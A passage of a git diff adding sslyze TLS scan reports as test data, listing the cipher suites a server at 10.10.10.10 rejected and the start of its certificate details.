"TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", + "openssl_name": "ECDHE-ECDSA-AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-ECDSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", + "openssl_name": "ECDHE-ECDSA-AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", + "openssl_name": "ECDHE-ECDSA-AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-ECDSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", + "openssl_name": "ADH-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", + "openssl_name": "ADH-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", + "openssl_name": "ADH-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", + "openssl_name": "ADH-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-RSA-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-RSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DH-DSS-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DH-DSS-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DH-DSS-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DH-DSS-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "DHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-RSA-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-RSA-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM_8", + "openssl_name": "DHE-RSA-AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CCM", + "openssl_name": "DHE-RSA-AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-RSA-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM_8", + "openssl_name": "DHE-RSA-AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CCM", + "openssl_name": "DHE-RSA-AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "DHE-DSS-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "DHE-DSS-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-DSS-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256", + "openssl_name": "DHE-DSS-AES256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-DSS-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256", + "openssl_name": "DHE-DSS-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_2" + }, + "status": "COMPLETED" + }, + "tls_1_3_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_CHACHA20_POLY1305_SHA256", + "openssl_name": "TLS_CHACHA20_POLY1305_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_AES_256_GCM_SHA384", + "openssl_name": "TLS_AES_256_GCM_SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_GCM_SHA256", + "openssl_name": "TLS_AES_128_GCM_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_SHA256", + "openssl_name": "TLS_AES_128_CCM_SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_AES_128_CCM_8_SHA256", + "openssl_name": "TLS_AES_128_CCM_8_SHA256" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_3" + }, + "status": "COMPLETED" + }, + "tls_1_3_early_data": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "tls_compression": { + "error_reason": null, + "error_trace": null, + "result": { + "supports_compression": false + }, + "status": "COMPLETED" + }, + "tls_fallback_scsv": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + } + }, + "scan_status": "COMPLETED", + "server_location": { + "connection_type": "DIRECT", + "hostname": "10.10.10.10", + "http_proxy_settings": null, + "ip_address": "10.10.10.10", + "port": 443 + }, + "uuid": "cd735bc5-1f63-46d6-94b8-01b17098d616" + } + ], + "sslyze_url": "https://github.com/nabla-c0d3/sslyze", + "sslyze_version": "5.0.1" +} \ No newline at end of file diff --git a/src/backend/tests/data/reports/sslyze/vulnerabilities.json b/src/backend/tests/data/reports/sslyze/vulnerabilities.json new file mode 100644 index 000000000..9e9a7ee52 --- /dev/null +++ b/src/backend/tests/data/reports/sslyze/vulnerabilities.json @@ -0,0 +1,6399 @@ +{ + "date_scans_completed": "2022-02-18T16:58:25.777455", + "date_scans_started": "2022-02-18T16:57:50.120548", + "server_scan_results": [ + { + "connectivity_error_trace": null, + "connectivity_result": { + "cipher_suite_supported": "ECDHE-RSA-AES256-SHA384", + "client_auth_requirement": "DISABLED", + "highest_tls_version_supported": "TLS_1_2", + "supports_ecdh_key_exchange": true + }, + "connectivity_status": "COMPLETED", + "network_configuration": { + "network_max_retries": 3, + "network_timeout": 5, + "tls_client_auth_credentials": null, + "tls_opportunistic_encryption": null, + "tls_server_name_indication": "10.10.10.10", + "xmpp_to_hostname": null + }, + "scan_result": { + "certificate_info": { + "error_reason": null, + "error_trace": null, + "result": { + "certificate_deployments": [ + { + "leaf_certificate_has_must_staple_extension": false, + "leaf_certificate_is_ev": false, + "leaf_certificate_signed_certificate_timestamps_count": 3, + "leaf_certificate_subject_matches_hostname": false, + "ocsp_response": { + "certificate_status": "GOOD", + "next_update": "2022-02-24T11:42:01", + "produced_at": "2022-02-17T12:42:27", + "response_status": "SUCCESSFUL", + "revocation_time": null, + "serial_number": 6081365925011041274511708029397455354, + "this_update": "2022-02-17T12:27:01" + }, + "ocsp_response_is_trusted": true, + "path_validation_results": [ + { + "openssl_error_string": null, + "trust_store": { + "ev_oids": null, + "name": "Android", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", + "version": "12.0.0_r9" + }, + "verified_certificate_chain": [ + { + "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", + "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", + "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", + "value": "DigiCert SHA2 Secure Server CA" + } + ], + "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" 